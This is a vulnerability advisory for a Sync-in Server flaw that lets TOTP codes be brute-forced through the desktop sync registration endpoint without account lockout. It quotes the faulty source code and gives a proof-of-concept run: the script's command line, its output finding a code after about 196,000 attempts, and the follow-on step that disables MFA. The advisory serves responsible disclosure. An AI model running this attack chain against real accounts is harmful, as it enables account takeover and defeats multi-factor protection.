CVE-2026-58271

Affected component: Sync-in Server v2.3.0, POST /api/app/sync/register.

Required attacker capability: Valid login and password for a TOTP-enabled account with desktop sync permission.

POST /api/app/sync/register accepts credentials and a TOTP code to register a desktop sync client. In the vulnerable version, on a failed TOTP attempt, SyncClientsManager.register() called updateAccesses(user, ip, false), which hit a freeze branch that wrote passwordAttempts back unchanged. The counter never reached USER_MAX_PASSWORD_ATTEMPTS (10), so the account lockout gate never fired for repeated TOTP failures through this endpoint.

A successful TOTP guess registers a sync client and returns a {clientId, clientToken} pair, provided the account has the required desktop app permission and the registration payload is valid. The token can then be exchanged via POST /api/app/sync/auth/cookie for an authenticated session. While the guessed TOTP code is still valid, and because the attacker already knows the password, the attacker can also call POST /api/auth/2fa/disable to remove MFA.

Details

The endpoint is declared at sync.controller.ts line 71. @AuthTokenSkip() bypasses the bearer-token guard, so the route is reachable without any prior session:

@Post(SYNC_ROUTE.REGISTER)
@AuthTokenSkip()
register(@Body() syncClientRegistrationDto: SyncClientRegistrationDto, @Req() req: FastifyRequest): Promise<SyncClientAuthRegistration> {
  return this.syncClientsManager.register(syncClientRegistrationDto, req.ip)
}

Inside SyncClientsManager.register(), after both the TOTP code and the recovery code are rejected, the handler fires a fire-and-forget access update and throws (sync-clients-manager.service.ts line 73):

this.usersManager.updateAccesses(user, ip, false).catch((e: Error) => this.logger.error({ tag: this.register.name, msg: `${e}` }))
throw new HttpException(authCode.message, HttpStatus.UNAUTHORIZED)

In the vulnerable version, updateAccesses() at users-manager.service.ts line 182 defaulted isAuthTwoFa to false:

async updateAccesses(user: UserModel, ip: string, success: boolean, isAuthTwoFa = false) {
  let passwordAttempts: number
  if (!isAuthTwoFa && configuration.auth.mfa.totp.enabled && user.twoFaEnabled) {
    passwordAttempts = user.passwordAttempts
  } else {
    passwordAttempts = success ? 0 : Math.min(user.passwordAttempts + 1, USER_MAX_PASSWORD_ATTEMPTS)
  }
  await this.usersQueries.updateUserOrGuest(user.id, {
    ...
    passwordAttempts: passwordAttempts,
    isActive: user.isActive && passwordAttempts < USER_MAX_PASSWORD_ATTEMPTS
  })
}

When register() called updateAccesses(user, ip, false), isAuthTwoFa defaulted to false. The condition on line 184 evaluated to true when TOTP was enabled site-wide and the account had it active. The else branch with Math.min(user.passwordAttempts + 1, ...) was never reached. passwordAttempts was written back unchanged, and the lockout gate in validateUserAccess() at line 89 never fired for repeated TOTP failures through this endpoint.

The freeze was designed for the web login flow, where a correct password at POST /api/auth/login produces a partial session and the counter should be preserved until POST /api/auth/2fa/login/verify completes. That route calls authProvider2FA.verify(body, req, true), which passes isAuthTwoFa=true into updateAccesses() and correctly increments on 2FA failure. The register() endpoint reused updateAccesses() for an outright TOTP rejection while passing the default isAuthTwoFa=false, triggering the freeze incorrectly.

The same freeze also applied to logUser() (users-manager.service.ts line 69), called by both POST /api/auth/login and POST /api/auth/token. On a wrong password for a 2FA-enabled account, updateAccesses(user, ip, false) was called without an isAuthTwoFa argument, so the freeze fired and passwordAttempts was preserved rather than incremented.

PoC

First, create a test account with TOTP MFA enabled and desktop sync permission. Then run the following:

poc_totp_bruteforce.py

$ python3 poc_totp_bruteforce.py --url http://192.168.16.132:8080 --user mfatest --password 'Str0ngP@ss99!' --concurrency 4 --batch 100

Example output:

[*] Target      : http://192.168.16.132:8080
[*] Account     : mfatest
[*] Concurrency : 4

[*] Step 1: Confirming credentials and 2FA status...
[+] Credentials valid, 2FA active.

[*] Step 2: Brute-forcing TOTP codes (4 workers)...
  Ranges: W0=000000-250000, W1=250000-500000, W2=500000-750000, W3=750000-1000000
  [W2]   1,100 total | 11.3 req/s | retries: 0
      <snip>
  [W1] 195,400 total | 11.0 req/s | retries: 0

[*] Step 3: Results
  Total attempts : 195,907
  Time elapsed   : 17769.5s (296.2min)
  Average RPS    : 11.0

[+] VALID TOTP CODE FOUND : 026961
[+] clientId              : 13951b88-03d4-4854-8a29-cd8921d73d82
[+] clientToken           : c92ef5ca-7432-44d0-8a94-56398bfe4117

[*] Step 4: Confirming access and attempting to disable 2FA...
  [+] Authenticated as : mfatest (id=3, role=1)
      passwordAttempts : 0
  [+] 2FA DISABLED. Account 'mfatest' now accessible with password alone.

Measured observations:

• No account lockout was observed across 195,907 failed TOTP attempts in this test against the vulnerable version.
• The clientToken was exchanged for an authenticated session.
• MFA was disabled via POST /api/auth/2fa/disable while the guessed TOTP code was still valid and because the attacker already knew the account password.